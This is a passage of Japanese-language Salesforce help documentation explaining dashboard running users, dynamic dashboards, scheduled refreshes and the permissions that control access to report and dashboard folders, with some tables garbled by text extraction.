シュボード閲覧者に表示されるデータの範囲を指定します。どのユーザとして
ダッシュボードを表示するかを指定すると、ダッシュボード閲覧者が通常より
も広い範囲のデータを参照できる場合があることに注意してください。ダッシュ
ボードを適切なダッシュボードフォルダに保存することによって、ダッシュボー
ドへのアクセス権を制御してください。
ダッシュボードは指定されたユーザとして表示されます。このユーザは、ダッ
シュボードの上の [次のユーザとして参照] の横に表示されます。どのユーザと
してダッシュボードを表示するかは、ダッシュボードの作成中または編集中に
指定します。
「すべてのデータの参照」権限がある場合、ダッシュボードの実行ユーザとし
て組織の任意のユーザを選択できます。「私のチームのダッシュボードの参照」
権限がある場合、ロール階層内で自分より下位の任意のユーザを選択できます。
1. ダッシュボードを編集します。
2. [ ] をクリックして [プロパティ] メニューを開きます。
3. [次のユーザとしてダッシュボードを参照]で、どのユーザとしてダッシュボー

ドを表示するかを選択します。
• 自分 — ダッシュボード閲覧者に、設定者のデータアクセス権に基づいた

データが表示されます。
たとえば、設定者がカナダの商談のみを参照できる場合、ダッシュボー
ド閲覧者にはカナダの商談に関するデータのみが表示されます。

• 指定したユーザ — ダッシュボード閲覧者に、指定したユーザのデータア
クセス権に基づいたデータが表示されます。
たとえば、すべての国の商談を参照できるユーザを指定すると、ダッシュ
ボード閲覧者にはすべての国の商談に関するデータが表示されます。

• ログインしたユーザ — ダッシュボード閲覧者に、閲覧者自身のデータア
クセス権に基づいたデータが表示されます。

4. 必要に応じて、ダッシュボードをどのユーザとして表示するかを指定しま
す。

5. 必要に応じて、[ダッシュボード閲覧者にこの変更を許可 (動的ダッシュボー
ド)] を選択すると、適切なユーザ権限を持つ閲覧者はどのユーザとしてダッ
シュボードを表示するかを選択できます。「私のチームのダッシュボードの
参照」ユーザ権限を持つ閲覧者は、自分自身として、またはロール階層内で
自分より下位のユーザとしてダッシュボードを表示できます。「すべての
データの参照」ユーザ権限を持つ閲覧者は、どのユーザとしてもダッシュ
ボードを表示することができます。

6. [プロパティ] ウィンドウで [保存] をクリックします。次に、ダッシュボードビルダーで、もう一度 [保存]

をクリックします。
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ユーザがダッシュボードを開くと、指定されたユーザとしてデータが表示されます。

Salesforce Classic の実行ユーザの選択

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードを作成、
編集、および削除する
• 「レポート実行」およ

び「ダッシュボードの
管理」

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

ダッシュボードで他の実
行ユーザを選択する
• 「私のチームのダッ

シュボードの参照」ま
たは「すべてのデータ
の参照」

実行ユーザを選択して、ダッシュボードに表示するデータを指定します。
各ダッシュボードには実行ユーザが指定され、そのユーザのセキュリティ設定
によってダッシュボードに表示されるデータが決まります。

メモ: 実行ユーザの選択に必要な「動的ダッシュボードの管理」権限は、
Professional Edition では使用できません。

「すべてのデータの参照」権限がある場合、ダッシュボードの実行ユーザとし
て組織の任意のユーザを選択できます。「私のチームのダッシュボードの参照」
権限がある場合、ロール階層内で自分より下位の任意のユーザを選択できます。

メモ: Visualforce を使用するダッシュボードコンポーネントでは実行ユーザ
が無視され、コンテンツは参照ユーザがVisualforceページへのアクセス権が
ある場合にのみ表示されます。ダッシュボードのその他のコンポーネント
には影響ありません。

Salesforce Platform または Salesforce Platform One ユーザライセンスを持つユーザは、
ダッシュボードの実行ユーザも同じ種類のユーザライセンスを持っていれば、
ダッシュボードの参照のみができます。ダッシュボードへのフルアクセス権限
がないユーザライセンスを持っているユーザは、同じ種類のライセンスを持っ
ている実行ユーザのダッシュボードのみ参照できます。さまざまなライセンス
の種類のユーザに、個別のダッシュボードを作成することを検討してください。
Salesforce Classicでダッシュボードの実行ユーザを選択するには、次の操作を実行
します。
1. ダッシュボードを編集します。
2. [次のユーザとしてダッシュボードを参照]項目の横にある ボタンをクリッ

クします。

メモ: 「動的ダッシュボードの管理」権限がない場合は、実行ユーザの
みを入力し、最終ステップに進んでください。指定可能なすべてのユー
ザを表示するには「*」を入力します。

3. 実行ユーザ設定を選択します。
• 指定したユーザとして実行: 特定の 1 人のユーザのセキュリティ設定を使

用してダッシュボードが実行されます。個人のセキュリティ設定に関係なく、ダッシュボードへのアク
セス権を持つすべてのユーザに同じデータが表示されます。この方法は、階層の全体像を共有する場合
や、各メンバーの業績をチーム内で公表してチームメンバーの意欲を喚起する場合に最適です。「すべ
てのデータの参照」権限がない場合は、自分のみを選択できます。「私のチームのダッシュボードの参
照」権限がある場合、ロール階層内で自分より下位の任意のユーザを選択できます。

• ログインしたユーザとして実行: ダッシュボードを表示しているユーザのセキュリティ設定を使用して
動的ダッシュボードが実行されます。各ユーザのアクセス権に従って、ダッシュボードが表示されま
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す。この方法は、システム管理者が 1 つの共通のダッシュボードコンポーネントセットを、アクセス権
の異なる各ユーザに割り当てる場合に役立ちます。

4. 必要に応じて、[承認されたユーザが実行ユーザを変更]を選択し、権限を持つユーザがダッシュボードビュー
ページの実行ユーザを変更できるようにします。
• 「私のチームのダッシュボードの参照」権限を持つユーザは、ロール階層内で自分より下位のユーザと

してダッシュボードを表示できます。
• 「すべてのデータの参照」権限を持つユーザはダッシュボードを編集でき、組織のどのユーザとしても

ダッシュボードを表示できます。
• 実行ユーザではなく、「すべてのデータの参照」権限を持っていなくても、ダッシュボードへのアクセ

ス権があれば「他のユーザのダッシュボードの有効化」権限を持つユーザはダッシュボードを編集でき
ます。

メモ: 「すべてのデータの参照」または「私のチームのダッシュボードの参照」権限を持っている場
合、他のユーザとしてダッシュボード編集ページをプレビューできます。ただし、ダッシュボード表
示ページから実行ユーザを変更するには、[承認されたユーザが実行ユーザを変更] を選択する必要が
あります。

5. [OK] をクリックします。
6. [次のユーザとしてダッシュボードを参照] 項目に実行ユーザを入力します。
7. ダッシュボードを保存します。

Salesforce Classic でのダッシュボードの個人別ビューの提供
動的ダッシュボードでは、各ユーザがアクセス権を持つデータを表示できます。動的ダッシュボードでは、
別個のダッシュボードを作成しなくても、実行ユーザとフォルダによって、データアクセスレベルごとに
データ表示を制御できます。
Salesforce Classic での動的ダッシュボードの設定
ダッシュボードおよび基礎となるレポートを保持するフォルダを作成してから、ダッシュボードを作成し
ます。

Salesforce Classic でのダッシュボードの個人別ビューの提供

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

動的ダッシュボードでは、各ユーザがアクセス権を持つデータを表示できます。
動的ダッシュボードでは、別個のダッシュボードを作成しなくても、実行ユー
ザとフォルダによって、データアクセスレベルごとにデータ表示を制御できま
す。
管理者は、ダッシュボードへのアクセスを管理するために、データを特定の表
示制限を設定したフォルダに保存します。ダッシュボードフォルダは、グルー
プ、ロール、またはテリトリーに対して公開、非表示、制限ありのいずれかに
設定できます。フォルダにアクセスできれば、そのダッシュボードを表示でき
ます。
ダッシュボードへのアクセスはフォルダによって制御されますが、データへの
アクセスは実行ユーザによって決まります。実行ユーザオプションは次のとおりです。
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• 指定したユーザとして実行:特定の 1 人のユーザのセキュリティ設定を使用してダッシュボードが実行され
ます。個人のセキュリティ設定に関係なく、ダッシュボードへのアクセス権を持つすべてのユーザに同じ
データが表示されます。この方法は、階層の全体像を共有する場合や、各メンバーの業績をチーム内で公
表してチームメンバーの意欲を喚起する場合に最適です。「すべてのデータの参照」権限がない場合は、
自分のみを選択できます。「私のチームのダッシュボードの参照」権限がある場合、ロール階層内で自分
より下位の任意のユーザを選択できます。

• ログインしたユーザとして実行:ダッシュボードを表示しているユーザのセキュリティ設定を使用して動的
ダッシュボードが実行されます。各ユーザのアクセス権に従って、ダッシュボードが表示されます。この
方法は、システム管理者が 1 つの共通のダッシュボードコンポーネントセットを、アクセス権の異なる各
ユーザに割り当てる場合に役立ちます。

動的ダッシュボードでは、別個のダッシュボードを作成しなくても、実行ユーザとフォルダによって、データ
アクセスレベルごとにデータ表示を制御できます。1 つの動的ダッシュボードで、組織のすべてのレベルに対
応する総計値の標準セットを表示できます。
動的ダッシュボードごとに最大 3 つの検索条件を作成できます。動的ダッシュボードの絞り込みにより、管理
者はより柔軟にダッシュボードを作成できるようになりました。たとえば、営業担当と商品の検索条件が含ま
れた組織全体の営業スコアカードを作成できます。これにより、各営業マネージャは部下の個々のパフォーマ
ンスを表示することも、全体の合計を表示することもできます。また、商品別に売上を表示できるため、特定
の営業担当が営業成績を上げている商品と上げていない商品を確認できます。
「私のチームのダッシュボードの参照」権限または「すべてのデータの参照」権限を持つマネージャは、ロー
ル階層内で自分より下位のユーザとしてダッシュボードをプレビューするオプションがあります。
組織内で使用できる動的ダッシュボードの最大数は、Enterprise Edition の場合は 5 個、Unlimited Edition および
Performance Edition の場合は 10 個、Developer Edition の場合は 3 個です。追加の動的ダッシュボードを購入できる
場合があります。

メモ:

• 動的ダッシュボードでは、次のコンポーネントはサポートされません。
• 動的ダッシュボードは個人フォルダには保存できません。
• 動的ダッシュボードの更新をスケジュール設定することはできません。動的ダッシュボードは手動で

更新する必要があります。

ビジネスシナリオの例
商談チームは、1 人の統括責任者、4 人の営業マネージャ、および 40 人の営業担当で構成されているとします。
つまり、営業マネージャ 1 人あたり 10 人の営業担当になります。ロールと階層で制限される次の総計値が表
示されるダッシュボードの作成を依頼されました。

ミーティング種別ごとの
活動数

競合会社の商談成立率合計契約数ロール

営業担当

営業マネージャ

販売の統括責任者
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表示されるデータは、営業担当の場合は各自のデータのみ、マネージャの場合は管理する営業担当のデータの
み、統括責任者の場合はチーム全体のデータとなる必要があります。このような場合、従来の方法ではそれぞ
れのユーザに対応する 45 個のダッシュボードを個別に作成する必要がありました。また、複数のフォルダを
作成してアクセス権を管理する必要もありました。
動的ダッシュボードでは、次のように 2 つのダッシュボードを作成して 1 つのフォルダに保存するだけで済み
ます。
• 次のコンポーネントがある営業担当用の動的ダッシュボードを作成します。

– 合計契約数のゲージ
– ミーティング種別ごとの活動数を示すテーブル

• 次のコンポーネントがあるマネージャおよび統括責任者用の動的ダッシュボードを作成します。
– 合計契約数のゲージ
– 競合会社の商談成立率の縦棒グラフ

• 必要に応じて、ダッシュボードの表示をさらに絞り込むことができる検索条件を作成します。たとえば、
主要な取引先に検索条件を作成して、閲覧者が取引先ごとの契約、活動、および競合の脅威に焦点を当て
ることができるようにします。

各ユーザには、そのユーザがアクセスできるデータのみが表示されます。営業担当には、自分の契約数と活動
数が表示されます。マネージャには、管理する営業担当の契約数と商談成立率が表示されます。統括責任者に
は、チーム全体の契約数と商談成立率が表示されます。総計値はマネージャも統括責任者も同じであるため、
両方のロールで同じ動的ダッシュボードを使用できます。動的ダッシュボード機能によって、必要なダッシュ
ボードの数が 45 個から 2 個に削減されます。

関連トピック:

ダッシュボードの絞り込み
Salesforce Classic ダッシュボードを作成
Salesforce Classic での動的ダッシュボードの設定
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Salesforce Classic での動的ダッシュボードの設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

動的ダッシュボードを作
成、編集、および削除す
る
• 「レポート実行」およ

び「動的ダッシュボー
ドの管理」

ダッシュボードで他の実
行ユーザを選択する
• 「私のチームのダッ

シュボードの参照」ま
たは「すべてのデータ
の参照」

ダッシュボードおよび基礎となるレポートを保持するフォルダを作成してから、
ダッシュボードを作成します。
組織内で使用できる動的ダッシュボードの最大数は、Enterprise Edition の場合は 5

個、Unlimited Edition および Performance Edition の場合は 10 個、Developer Edition の場
合は 3 個です。

メモ:

• 動的ダッシュボードは個人フォルダには保存できません。
• 動的ダッシュボードの更新をスケジュール設定することはできません。

動的ダッシュボードは手動で更新する必要があります。

1. すべてのダッシュボード閲覧者がアクセスできるフォルダを作成します。こ
のフォルダには、動的ダッシュボードおよび対応するコンポーネントソース
レポートが保存されます。

2. [ダッシュボード] タブで、新しいダッシュボードを作成するか、既存のダッ
シュボードを編集します。

3. [次のユーザとしてダッシュボードを参照]項目の横にある ボタンをクリッ
クします。

メモ: 「動的ダッシュボードの管理」権限がない場合は、実行ユーザの
みを入力し、最終ステップに進んでください。指定可能なすべてのユー
ザを表示するには「*」を入力します。

4. [ログインしたユーザとして実行] を選択します。
5. 必要に応じて、[承認されたユーザが実行ユーザを変更] を選択し、権限を持

つユーザがダッシュボードビューページの実行ユーザを変更できるようにします。
• 「私のチームのダッシュボードの参照」権限を持つユーザは、ロール階層内で自分より下位のユーザと

してダッシュボードを表示できます。
• 「すべてのデータの参照」権限を持つユーザはダッシュボードを編集でき、組織のどのユーザとしても

ダッシュボードを表示できます。
• 実行ユーザではなく、「すべてのデータの参照」権限を持っていなくても、ダッシュボードへのアクセ

ス権があれば「他のユーザのダッシュボードの有効化」権限を持つユーザはダッシュボードを編集でき
ます。

6. [OK] をクリックします。
7. [次のユーザとしてダッシュボードを参照] 項目に実行ユーザを入力します。
8. ダッシュボードを保存します。
9. [レポート実行] ページで、適切な [表示] オプションを設定します。

たとえば、[私のチームの商談] を選択すると、各動的ダッシュボード閲覧者はチームのすべての商談を表
示できます。
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ヒント: ダッシュボードに表示されるデータを制限しないようにするには、次の点に注意してください。
• 詳細な検索条件に特定のレコードの所有者を含めないようにします (「商談所有者 次の文字列と一致す

る Frank Smith」など)。
• 商談レポートの保存時に [階層レベルの保存] をクリックしないようにします。

関連トピック:

ダッシュボード検索条件の追加
Salesforce Classic でのダッシュボードの個人別ビューの提供
Salesforce Classic の実行ユーザの選択

ダッシュボードの実行とその後の参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ダッシュボードの名前をクリックして実行します。ダッシュボードグラフはイ
ンタラクティブであるため、ダッシュボードにマウスポインタを置いてクリッ
クし、詳細を確認してください。

1. ダッシュボードデータの更新
ダッシュボードに最新データを読み込むには、[更新]をクリックします。デー
タは、ダッシュボードの右上隅に表示される [更新日...] の日時現在とな
ります。

2. ダッシュボードの更新のスケジュール設定
Enterprise Edition、Unlimited Edition、Performance Edition では、ダッシュボードを、日、週、または月単位で更新
するようにスケジュールできます。

3. Lightning Experience でのダッシュボードコンポーネントの展開による大きなバージョンの表示
グラフやテーブルが若干小さすぎる場合があります。その場合、ウィンドウで開くと、すべての詳細が表
示されます。

5107

ダッシュボード分析



ダッシュボードデータの更新

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードデータを
更新する
• 「レポート実行」と

ダッシュボードフォル
ダへのアクセス権

ダッシュボードに最新データを読み込むには、[更新]をクリックします。データ
は、ダッシュボードの右上隅に表示される [更新日...] の日時現在となりま
す。
1. ダッシュボードのデータに最新データを補充するには、[更新] をクリックし

ます。
ダッシュボードデータの更新中は、[更新] ボタンは [Refreshing...] に変わりま
す。データの更新中はダッシュボードから離れて、Salesforce で他の作業を実
行できます。ダッシュボードの更新が完了したら、Salesforce 1 の右側の通知
パネルでダッシュボードの準備ができたことが通知されます。ダッシュボー
ドの更新では転送通知は有効になっていないため、メールではなくアプリ
ケーション内でのみ通知されます。

ヒント:  10 分経過してもダッシュボードのデータが更新されない場合、
更新は自動的に停止します。必要に応じて、[更新]を改めてクリックし
ます。

ダッシュボードを更新するとき、ダッシュボードデータは、組織内でそのダッ
シュボードへのアクセス権を持つ他のユーザについても更新されます。更新中
にさらにデータの更新要求が送信されても、それが更新の完了から 1 分以内の
ものは無視されます。ユーザビューは最新データです。
ダッシュボードで条件を変更する場合、以前にキャッシュされたデータが存在
する場合はそのデータが表示されます。データが存在しない場合は、最新デー
タが取得されます。いずれの場合も、ダッシュボードの「最終更新」日付には表示しているデータのタイムス
タンプが表示されます。最新データを取得するには、[更新] をクリックします。
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ダッシュボードの更新のスケジュール設定

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

ダッシュボードの更新を
スケジュール設定し、
メールで送信する
• 「ダッシュボードのス

ケジュール設定」

ダッシュボード更新スケ
ジュールを削除する
• 「すべてのデータの編

集」

Enterprise Edition、Unlimited Edition、Performance Edition では、ダッシュボードを、
日、週、または月単位で更新するようにスケジュールできます。

メモ: 「設定・定義を参照する」権限を持つユーザは、[すべてのスケジュー
ル済みジョブ] ページで、組織で更新スケジュール済みのすべてのダッシュ
ボードを参照できます。[すべてのスケジュール済みジョブ] ページを表示
するには、[設定] から [クイック検索] ボックスに「スケジュール済みジョ
ブ」と入力し、[スケジュール済みジョブ] を選択します。「すべてのデー
タの編集」権限を持つユーザは、更新スケジュール済みのダッシュボード
の横にある [削除] をクリックして、その更新スケジュールのインスタンス
をすべて完全に削除できます。

さらに、更新が完了したら、HTML 版のダッシュボードを含むメールを送信する
ように設定できます。HTML をサポートしていないメールアプリケーションの場
合、メールにはテキストとダッシュボードへのリンクが含まれます。
1. [ダッシュボード] タブで、[ダッシュボードの参照] 項目を使用してダッシュ

ボードを選択します。
2. [更新] をクリックし、[更新のスケジュール] を選択します。

ダッシュボードのスケジュール設定またはメール送信を行う場合、検索条件
は適用されません。
各ダッシュボードには実行ユーザが指定され、そのユーザのセキュリティ設
定によってダッシュボードに表示されるデータが決まります。

メモ: 実行ユーザが無効になると、ダッシュボードが実行されません。

3. 通知設定を選択します。
• メールを自分のユーザアドレスに送信する場合は、[自分に送信] をクリックします。
• メールを他の Salesforce ユーザに送信する場合は、[他のユーザに送信...] をクリックします。

メモ: ポータルユーザは、[ポータルユーザへのレポートとダッシュボードの送信を許可]オプション
が有効な場合にのみ、レポートとダッシュボードの更新メール通知を受け取ります。

• Outlook 2007 では、ダッシュボード更新通知が正しく表示されない場合があります。
• HTML 形式のダッシュボード更新通知では、ダッシュボード名をクリックして、Salesforceにログインし、

ダッシュボードを表示できます。
• 他のユーザにダッシュボード更新通知を送信するには、それらのユーザにアクセス権が付与されている

公開フォルダにダッシュボードを格納します。他のユーザは、個人用の非公開フォルダに格納したダッ
シュボードにアクセスできません。ダッシュボードを公開フォルダに追加するには、ダッシュボードの
プロパティを編集します。

• ダッシュボード更新通知のコンポーネントをクリックすると、Salesforceのソースレポートを表示できま
す。

• Visualforce ページおよび Sコントロールを含むダッシュボードコンポーネントは、ダッシュボード更新通
知に表示されない場合があります。ユーザは、Salesforceにソースレポートを表示する必要があります。
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• メールクライアントでは、ダッシュボード更新通知をオフラインで表示できます。
• ダッシュボードに検索条件がある場合、条件が設定されていないバージョンのみがメール送信されま

す。
• デフォルトで、Salesforce は、ダッシュボードメールの画像を Lotus Notes ではサポートされない .png

(Portable Network Graphic) ファイルとして送信します。[ダッシュボードメールで Lotus Notes と互換性
のある画像を使用]  > オプションを有効にすると、Salesforce ではダッシュボードメールを送信するとき
に、Lotus Notes をサポートする .jpg画像が使用されます。このオプションを表示するには、「ダッシュ
ボードのスケジュール」の権限が必要です。

メモ:  Lotus Notes と互換性のある画像を含むダッシュボードメールは非常に大きいため、画質が低
くなる可能性があります。

4. 更新をスケジュール設定します。
a. [頻度] 項目を設定します。

[毎日]、[毎週]、または [毎月] 項目をクリックして、詳細なオプションを表示します。
スケジュールされたダッシュボードの更新の合計回数と頻度はSalesforceのエディションによって異なり
ます。Enterprise Edition、Unlimited Edition、Performance Edition でスケジュールできるダッシュボードの更新
は最大 200件です。Unlimited Edition および Performance Edition ユーザは、ダッシュボードの更新を各日 1 時
間に 2 件までスケジュールできます。Enterprise Edition ユーザは、ダッシュボードの更新を各日 1 時間に
1 件までスケジュールできます。追加のスケジュール済みダッシュボードを購入できる場合があります。
詳細は、Salesforce の担当者にお問い合わせください。

b. [開始] および [終了] 項目に日付を指定します。
ダッシュボードは、更新をスケジュールしたユーザのタイムゾーンに基づいて更新されます。たとえ
ば、ユーザレコードの [タイムゾーン] 項目が太平洋標準時間 (PST) に設定されている場合に、毎日 2:00

PM にダッシュボードを更新するようにスケジュールすると、ダッシュボードは、太平洋標準時間の毎
日 2:00 PM から 2:29 PM の間に更新されます。以前スケジュールしたタイムゾーンとは別のタイムゾーン
でスケジュールを表示し、保存する場合、時間枠が変わる場合があります。

c. [希望開始時刻] の下にある [選択可能なオプション...] をクリックして、時刻を選択します。
ダッシュボードの更新は、希望開始時刻から 30 分以内に実行されます。たとえば、2:00 PM を選択した
場合、そのダッシュボードは、2:00 PM から 2:29 PM の間の可能な時刻に更新されます。

メモ: 他のユーザがすでにその時刻を選択している場合には、その希望開始時刻を選択できないこ
とがあります。

• 毎月の特定の日にダッシュボードを更新するようにスケジュールした場合、そのダッシュボードは、そ
の日を含む月にのみ更新されます。たとえば、毎月 31 日にダッシュボードを更新するようにスケジュー
ルした場合、そのダッシュボードは、30 日しかない月には更新されません。毎月月末に更新するには、
[毎月の指定日] ドロップダウンリストから [最終] を選択します。

• 実行ユーザにダッシュボードフォルダへのアクセス権がない場合、ダッシュボードはスケジュールどお
りに実行されません。

• ダッシュボードに検索条件がある場合、条件が設定されていないバージョンのみが最新表示されます。
• 動的ダッシュボードの更新をスケジュール設定することはできません。動的ダッシュボードは手動で更

新する必要があります。
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5. [保存] をクリックします。
ダッシュボードの更新のスケジュールを削除するには、[更新] > [更新のスケジュール] > [ダッシュボードのス
ケジュールを解除] をクリックします。
ダッシュボードの更新のスケジュールはごみ箱には格納されず、完全に削除されます。更新のスケジュールを
削除しても、ダッシュボード自体に影響はありません。

関連トピック:

ダッシュボード検索条件の適用
ダッシュボードデータの更新

Lightning Experience でのダッシュボードコンポーネントの展開による大きなバージョンの表
示

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ダッシュボードコンポー
ネントを展開する
• 「レポート実行」

グラフやテーブルが若干小さすぎる場合があります。その場合、ウィンドウで
開くと、すべての詳細が表示されます。
1. ダッシュボードを開きます。
2. コンポーネントにマウスポインタを置き、[ ] をクリックします。
ダッシュボードコンポーネントの大きいバージョンがダッシュボード上にフロー
ト表示されます。必要に応じて、右矢印または左矢印をクリックすれば、ダッ
シュボードのコンポーネントの展開バージョン間を移動できます。

ダッシュボードの共有

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ダッシュボードは、選定されたインタラクティブなデータセットを同僚と共有
する最適な方法です。
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メモ: フォルダを操作する場合、Lightning Experience の次の制限に留意してください。
Lightning Experience で使用できない機能

Lightning Experience 機能に関する留意事項機能

標準フォルダ (Salesforce にパッケージ化されてい
るデフォルトのレポートとダッシュボードを含む)

ユーザはLightning Experienceダッシュボードエディ
タからフォルダ間でダッシュボードを移動できま

フォルダ間でのレポートの移動

すが、レポートを移動するには Salesforce Classic に
切り替える必要があります。

Salesforce Classic で作成されたフォルダとそのコン
テンツは Lightning Experience で使用できます。レ

レポートフォルダとダッシュボードフォルダの作
成および削除

ポートやダッシュボードの作成またはコピー時、
ユーザはこれらのフォルダ内に保存することがで
きます。

Salesforce Classic のフォルダに対する共有権限セッ
トはLightning Experienceでも有効ですが、共有権限
の設定や変更を行うことはできません。

レポートフォルダおよびダッシュボードフォルダ
の共有

Lightning Experienceでは、ユーザはレポートフォル
ダとダッシュボードフォルダの検索ができませ

レポートフォルダおよびダッシュボードフォルダ
の検索

ん。グローバル検索の結果にはレポートとダッ
シュボードが含まれますが、レポートフォルダと
ダッシュボードフォルダは含まれません。

1. レポートおよびダッシュボードへのアクセスの管理
レポートおよびダッシュボードへのアクセスは、それらが保存されているフォルダの設定によって制御さ
れます。レポートまたはダッシュボードへの自分のアクセス権を他のユーザに付与するには、レポートを
共有フォルダに置きます。自分のレポートに他のユーザがアクセスできないようにするには、自分のみが
アクセスできる個人フォルダにレポートを置きます。

2. Lightning Experience でのフォルダ間のダッシュボードの移動
組織でレポートとダッシュボードの分析フォルダの拡張共有を使用している場合、フォルダ内に保存され
たレポートとダッシュボードに誰がアクセスできるかがフォルダによって制御されます (組織が Summer '13

Salesforce リリースより後に作成された場合、すでに分析フォルダの拡張共有が有効になっています)。フォ
ルダ間でダッシュボードを移動することにより、ダッシュボードへのアクセスを整理および制御できます。

3. ダッシュボードの印刷
ブラウザの印刷オプションを使用して、ダッシュボードを印刷します。
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レポートおよびダッシュボードへのアクセスの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートフォルダは、
Contact Manager Edition、
Group Edition、Personal
Edition では使用できませ
ん。

ユーザ権限

公開レポートフォルダを
作成、編集、および削除
する
• 「公開レポートの管

理」

公開ダッシュボードフォ
ルダを作成、編集、およ
び削除する
• 「ダッシュボードの管

理」および「すべての
データの参照」

レポートおよびダッシュボードへのアクセスは、それらが保存されているフォ
ルダの設定によって制御されます。レポートまたはダッシュボードへの自分の
アクセス権を他のユーザに付与するには、レポートを共有フォルダに置きます。
自分のレポートに他のユーザがアクセスできないようにするには、自分のみが
アクセスできる個人フォルダにレポートを置きます。
レポートまたはダッシュボードフォルダにアクセスするには、[レポート] タブに
移動します。[レポート] タブの [フォルダ] ペインで をクリックし [新規レポー
トフォルダ]または [新規ダッシュボードフォルダ]を選択してフォルダを作成す
るか、フォルダの をクリックして編集します。
自分が作成しなかったレポートまたはダッシュボードを編集する場合、または
レポートを他のユーザと共有する場合には、次の点に留意してください。
• フォルダのアクセス権が「参照・更新」に設定されている場合にのみ、フォ

ルダの内容を変更できます。「公開レポートの管理」または「公開ダッシュ
ボードの管理」権限を持つユーザのみが、「参照のみ」フォルダを削除また
は変更できます。権限やフォルダの設定に関わらず、空のフォルダや他の
ユーザの個人フォルダは編集できません。

• システム管理者、または「公開レポートの管理」権限および「レポートの作
成とカスタマイズ」権限を持つユーザは、すべてのユーザが表示できるカス
タムレポートを作成できます。カスタムレポートフォルダを作成したり、各
フォルダにアクセスできるユーザグループを設定したりして、レポートを整
理することもできます。Personal Edition、Contact Manager Edition、Group Edition で
は、公開レポートとレポートフォルダは使用できません。

• レポートを公開するには、レポートを実行し、[別名で保存] をクリックしま
す。レポート名を指定し、公開レポートフォルダを選択します。

1. レポートフォルダへのアクセス権
フォルダへのアクセスは権限によって制御されます。ユーザが公開レポート
フォルダ、非表示レポートフォルダ、または共有レポートフォルダにアクセスするには、特定の権限が必
要です。

2. ダッシュボードフォルダへのアクセス権
フォルダへのアクセスは権限によって制御されます。ユーザが公開ダッシュボードフォルダ、非表示ダッ
シュボードフォルダ、または共有ダッシュボードフォルダにアクセスするには、特定の権限が必要です。

関連トピック:

ダッシュボードフォルダへのアクセス権
レポートフォルダへのアクセス権

5113

ダッシュボード分析



レポートフォルダへのアクセス権

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートフォルダは、
Contact Manager Edition、
Group Edition、Personal
Edition では使用できませ
ん。

フォルダへのアクセスは権限によって制御されます。ユーザが公開レポートフォ
ルダ、非表示レポートフォルダ、または共有レポートフォルダにアクセスする
には、特定の権限が必要です。
次の表は、公開、非表示、共有という 3 種類のレポートフォルダへのアクセス
に必要な権限を示しています。

メモ: 「公開フォルダのレポートを参照」権限は、レポートおよびダッシュ
ボードの拡張共有が有効な組織でのみ使用できます。レポートおよびダッ
シュボードの拡張共有が無効な組織では、「すべてのデータの参照」を使
用します。

公開フォルダ
次の権限は、次の表示設定が設定されているフォルダに適用されます。
• このフォルダは、ポータルユーザを含むすべてのユーザがアクセス可能です
• このフォルダは、ポータルユーザを除き、すべてのユーザがアクセス可能で

す

参照/更新フォルダへのアクセス権限参照専用フォルダへのアクセス権限アクセスレベル

次のいずれかを実行できます。次のいずれかを実行できます。参照
• 「レポート実行」• 「公開フォルダのレポートを参照」

• 「レポート実行」 • 「公開レポートの管理」
•• 「公開レポートの管理」 「すべてのデータの参照」

• 「すべてのデータの参照」

「レポートの作成とカスタマイズ」「公開レポートの管理」新規書き込み

「公開レポートの管理」「公開レポートの管理」変更/削除

非表示フォルダ
次の権限は、次の表示設定が設定されているフォルダに適用されます。
• このフォルダはすべてのユーザから非表示となります

参照/更新フォルダへのアクセス権限参照専用フォルダへのアクセス権限アクセスレベル

「すべてのデータの参照」次のいずれかを実行できます。参照
• 「公開フォルダのレポートを参照」
• 「すべてのデータの参照」

「公開レポートの管理」「公開レポートの管理」新規書き込み

「公開レポートの管理」「公開レポートの管理」変更/削除

5114

ダッシュボード分析



メモ: 非表示フォルダ設定は、レポートおよびダッシュボードの拡張共有が無効な組織でのみ使用で
きます。レポートおよびダッシュボードの拡張共有が有効な組織でこれに相当するのは、共有設定の
ないフォルダ、つまり、誰とも明示的に共有されていないフォルダです。

共有フォルダ

参照/更新フォルダへのアクセス権限参照専用フォルダへのアクセス権限アクセスレベル

次のいずれかを実行できます。次のいずれかを実行できます。参照
• 「レポート実行」(共有ユーザ)• 「公開フォルダのレポートを参照」

• 「レポート実行」(共有ユーザ) • 「公開レポートの管理」(共有ユーザ)

•• 「公開レポートの管理」 「すべてのデータの参照」
• 「すべてのデータの参照」

「レポートの作成およびカスタマイズ」
(共有ユーザ)

「公開レポートの管理」新規書き込み

「公開レポートの管理」「公開レポートの管理」変更/削除

関連トピック:

レポートとダッシュボードの拡張共有の有効化

ダッシュボードフォルダへのアクセス権

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience
の両方

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

レポートフォルダは、
Contact Manager Edition、
Group Edition、Personal
Edition では使用できませ
ん。

フォルダへのアクセスは権限によって制御されます。ユーザが公開ダッシュボー
